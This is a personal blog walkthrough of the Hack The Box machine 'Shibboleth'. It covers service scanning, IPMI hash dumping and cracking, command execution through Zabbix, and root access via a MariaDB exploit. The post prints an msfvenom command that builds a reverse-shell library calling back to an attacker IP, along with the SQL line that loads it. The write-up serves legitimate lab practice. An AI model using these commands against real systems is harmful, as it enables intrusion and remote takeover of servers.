Peter's Hacking Blog

Techobabble for enthusiasts

HTB Writeup: Shibboleth

- Posted in HTB Writeup by

It's been a while since I've touched HTB. I've been busy with work, school, research, and my personal life. I decided that with the start of the new semester, I might as well see if I can at least hold my own still.

The first thing I did was run a complementary nmap scan with the complementary -sV flag. enter image description here

Pretty common to have just http open. Going to the IP directly will fail redirect to shibboleth.htb, so it failed and I had to add it to my /etc/hosts. enter image description here

Now going to the website brings us to some bootstrap framework page. enter image description here

I looked around for a few minutes but did not find anything useful on the page itself, which means I'm missing something. Time to scan.

Starting off, I started a dirbuster scan and found two potentially interesting directories-- assets and forms: enter image description here enter image description here

The most obviously interesting thing was the contact.php file in the forms directory, but after playing around with it for a while I deemed it not very useful (at least right now). So this put me basically back at square one, and meant that I am still missing something. After directory scanning, the next best thing I like to do on webapps is subdomain (or vhost) scanning. My tool of choice for this is ffuf-- If you haven't used it yet, you're missing out.

I started the scan with ffuf -w subdomains-top1million-5000.txt -u http://shibboleth.htb -H "Host: FUZZ.shibboleth.htb" enter image description here

After adding all 3 hosts to my /etc/hosts, I checked to see what they had. Turns out they are all aliases for eachother, so they go to the same page: A login page for some software called Zabbix.

enter image description here

After trying (and failing) default credentials and SQLi, I gave up and realized I needed something else. There were a few auth bypass exploits, but none of them worked. Once again, I am missing something.

So I thought "okay, maybe there's a UDP port open then?". I scanned for UDP ports (using a rate flag because UDP scans are slow) using sudo nmap -sU --min-rate 5000 shibboleth.htb, and there actually was a UDP port open. enter image description here

It looks like port 623/UDP is an IPMI port used for embedded device management. I've never heard of it before so I look for exploits!

There were a few online, but the one that we needed was scanner/ipmi/ipmi_dumphashes enter image description here

Running it gives us a hash, which can be cracked in less than 3 seconds using an old laptop using hashcat. enter image description here

We can use this password to log into the zabbix login on the website. Once there, we can actually have the system run arbitrary commands through the system.run[] key. I found this here.

enter image description here

After creating the malicious object and setting up a listener, I got a callback enter image description here

The /etc/passwd file shows that there is another user ipmi-svc that also has a bash shell, and we can reuse the password on this account for easy access enter image description here

Once we have access to the user flag and the user account, I see that MySQL is running, and start grepping for passwords. I find it in the /etc/zabbix directory. Before even looking for credentials, I check the version it is running since it is also running some other old programs. enter image description here

The box is running an old version of MariaDB, which has a great privesc cve.

After creating a payload with msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.100 LPORT=9602 -f elf-so -o exec.so, I upload it to the target machine and run SET GLOBAL wsrep_provider="/tmp/exec.so"; in the mysql shell.

enter image description here

I get a callback as root, and can now get the system flag.